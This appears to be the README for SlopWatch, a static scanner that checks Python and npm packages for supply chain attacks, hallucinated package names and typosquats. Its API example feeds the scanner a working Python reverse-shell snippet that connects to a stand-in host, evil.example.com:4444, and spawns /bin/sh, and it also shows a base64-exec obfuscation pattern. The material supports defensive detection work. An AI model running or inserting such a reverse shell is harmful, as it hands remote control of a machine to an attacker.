SlopWatch is a fast, deterministic supply chain security scanner for Python (PyPI) and JavaScript (npm) packages and lockfiles.
Zero-LLM · 200ms Scans · Zero API Keys · Runs Offline
Designed for developers, CI/CD pipelines, and autonomous coding agents, SlopWatch protects against AI package hallucinations (when an LLM invents a plausible package name that an attacker registers) and install-time execution traps (setup.py hooks, .pth startup implants, npm lifecycle scripts) before dependencies touch your machine.
Live Audits: SlopWatch was developed for the FlagThis website. A working live demonstration that performs live supply chain audits and threat intelligence indexing is available at FlagThis.com.
# ⚡ Try it in 10 seconds (no config, no API keys)
pip install slopwatch
slopwatch check # auto-discovers and checks all manifests in project
slopwatch audit . # inspect local manifests and source files- Zero-LLM Core Engine: Fully deterministic execution via Python AST inspection, YARA signature scanning, and combinatorial heuristics. Zero probabilistic variance, zero external API costs, and sub-millisecond execution.
- Deep Static AST Inspection: Statically deconstructs Python
setup.py,pyproject.toml, and module source code without dynamic code execution—detecting hidden reverse shells, raw sockets, eval-obfuscation, and child process execution. - npm Lifecycle Script Analysis: Analyzes
package.jsonhooks (preinstall,install,postinstall) and unpacks JS payloads for suspicious network exfiltration. - Pre-Compiled YARA Threat Engine: Built-in YARA rules spanning 9 weaponization vectors: credentials, exfiltration, evasion, persistence, supply-chain hooks, and dropper logic.
- Phantom Squatting & Typosquat Detection: Identifies impersonations of high-value brands (Google, AWS, Stripe, Okta, Clerk, Supabase) using Levenshtein distance, token insertion, and delimiter swap heuristics.
- AI Hallucination & Package Parking Auditor: Scans project lockfiles and manifests (
requirements.txt,package.json) to detect hallucinated package names frequently recommended by LLMs that do not exist or are parked by adversaries. - Version Confusion Anomaly Detection: Surfaces suspicious version jumps (e.g. initial registrations claiming v99.0.0 or v50.0.0) while safely handling legitimate CalVer and date-stamped releases.
Install directly via pip:
pip install slopwatchSlopWatch uses yara-python for high-throughput compiled pattern matching. Most standard environments install pre-built wheels automatically. If installing in an environment requiring source compilation:
- macOS:
brew install yara
- Debian / Ubuntu:
sudo apt-get update && sudo apt-get install -y python3-dev gcc libssl-dev - Alpine Linux:
apk add --no-cache python3-dev gcc musl-dev libffi-dev
To contribute or run from source:
git clone https://github.com/royans/slopwatch.git
cd slopwatch
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
pip install -e .The slopwatch command-line interface provides fast, rich terminal feedback for auditing and inspecting packages.
Automatically configure project security, install native git pre-commit hooks, and set up CI/CD:
slopwatch init- Automatically detects workspace manifests (
requirements.txt,pyproject.toml,package.json). - Creates
.slopwatch.yaml(customizable allowlist & alert policies). - Installs native
.git/hooks/pre-commitso AI hallucinations can never be committed. - Installs
.github/workflows/slopwatch.ymlfor pull request auditing. - Runs an immediate baseline audit across all project dependencies.
Run slopwatch check to automatically discover and audit all dependency manifests in your project (Python & npm):
slopwatch check # auto-discovers and audits all project manifests
slopwatch check requirements.txt # or specify an individual file directly
slopwatch check ./backend # or audit a specific subproject directory- Supported Manifests:
requirements*.txt,pyproject.toml,Pipfile,Pipfile.lock,poetry.lock,package.json,package-lock.json,yarn.lock,pnpm-lock.yaml. - What It Catches: Hallucinated package names (404s on public registry), brand typosquats, and unpinned direct VCS URLs.
Fetch and statically inspect any published PyPI or npm package without executing its code:
slopwatch inspect requests --ecosystem pypi
slopwatch inspect express --ecosystem npmRun the AST analyzer and YARA rule engine across any local Python or JavaScript file/directory:
slopwatch scan ./src
slopwatch scan setup.pyAudit an entire project directory, checking source files and manifests simultaneously:
slopwatch audit .View engine statistics, active YARA rule suites, and loaded parking signatures:
slopwatch infoSlopWatch supports machine-readable output (--json) and Git pre-commit hooks for CI/CD pipelines:
# Emit structured JSON for CI security gates or dashboard ingestion
slopwatch check --json
slopwatch audit . --jsonAdd SlopWatch to your project's .pre-commit-config.yaml:
repos:
- repo: https://github.com/royans/slopwatch
rev: v0.1.0
hooks:
- id: slopwatch-check
- id: slopwatch-auditSlopWatch is zero-config by default, but supports fine-grained tuning via .slopwatch.yaml or pyproject.toml ([tool.slopwatch]):
- Whitelisting Private Packages (
allowlist): Permit internal company SDKs, private mirrors, or vetted direct VCS URLs. - Alert & Failure Thresholds (
fail_on): Control CI exit code behavior (CRITICAL,HIGH[default],MEDIUM,ANY). - Path Ignore Patterns (
ignore_paths): Exclude test fixtures, mock data, or documentation.
👉 Read the complete SlopWatch Configuration Guide for syntax examples, rubric tables, and CI/CD recipes.
SlopWatch can also be integrated directly into your own security tools and CI/CD pipelines:
from slopwatch import YaraPatternScanner, PythonASTAssessor
# 1. Scan source code with the YARA threat engine
scanner = YaraPatternScanner()
matches = scanner.scan_text('''
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('evil.example.com', 4444))
os.dup2(s.fileno(), 0)
subprocess.call(['/bin/sh', '-i'])
''')
for match in matches:
print(f"Detected: {match['rule']}")
# 2. Deep static AST analysis
assessor = PythonASTAssessor()
result = assessor.analyze_source("import base64; exec(base64.b64decode('...'))")
print(f"Threat Score: {result.composite_threat_score}/100")
print(f"Verdict: {result.verdict}")┌───────────────────────────────────────────────────────────┐
│ Target Input │
│ (Upstream Package Tarball, Manifest, or Local Source) │
└─────────────────────────────┬─────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────────────┐
│ Deterministic Analysis Pipeline │
│ │
│ [1] Manifest & Metadata Sizing │
│ - Non-comment LOC & Codebase Tiering │
│ - Publisher Domain Proof vs Free Webmail Domain │
│ │
│ [2] Static AST Deconstruction (Zero Dynamic Execution) │
│ - Python AST: setup.py / pyproject.toml hooks │
│ - npm: package.json install hooks & lifecycle scripts│
│ │
│ [3] Pre-Compiled YARA Engine │
│ - 9 Suites: Exfiltration, Shells, Persistence, etc. │
│ │
│ [4] Scoring & Classification Matrix │
│ - Normalized 0-1000 Threat Score │
│ - Verdicts: MALICIOUS | SUSPICIOUS | BENIGN │
└─────────────────────────────┬─────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────────────┐
│ Output: Structured JSON / Terminal CLI │
└─────────────────────────────┬─────────────────────────────┘
│
▼
(Live community audits indexed at https://flagthis.com)
We believe security tools should be radically honest about their boundaries rather than overcommitting on claims.
- A fast, deterministic first line of defense: Runs in milliseconds via Python AST, compiled YARA signatures, and Levenshtein distance trees.
- A detector for lazy automated weaponization: Catches install-time socket connects, reverse shells, child process spawns in
setup.py, malicious.pthstartup files, Discord webhook exfiltration, and npmpreinstallstealer payloads. - An auditor for AI package hallucinations: Checks whether packages suggested by Copilot, Cursor, or ChatGPT actually exist on PyPI/npm or are parked slopsquats waiting for a developer to run
pip install. - Respectful of maintainers: Community libraries with ordinary telemetry or standard system calls are evaluated as
BENIGN_COMMUNITYorUNVERIFIED_COMMUNITY. TheMALICIOUSverdict is strictly reserved for confirmed, active weaponization vectors.
- Not an omniscient hypervisor sandbox: It performs zero dynamic code execution. It will not execute code in a VM or kernel sandbox to observe runtime behavior.
- Not a binary decompiler: If an attacker embeds compiled machine code inside a native
.so,.dylib, or.nodefile, SlopWatch flags the presence of unexpected native binaries (BUNDLED_NATIVE_BINARY), but it does not reverse-engineer the compiled C/Rust assembly. - Not a silver bullet: Static analysis is inherently an adversarial cat-and-mouse game. High-entropy custom runtime encoders or multi-stage split downloaders can be designed to evade static regex. SlopWatch catches the bulk of automated supply chain attacks instantly without the latency, cost, or prompt-injection vulnerabilities of LLMs.
Contributions are welcome! Please run our pre-submit gatekeeper before opening a pull request:
# Install git hooks
./scripts/install_hooks.sh
# Run pre-submit checks manually
python3 scripts/presubmit.py
# Run test suite
pytest tests/ -vLicensed under the Apache License, Version 2.0.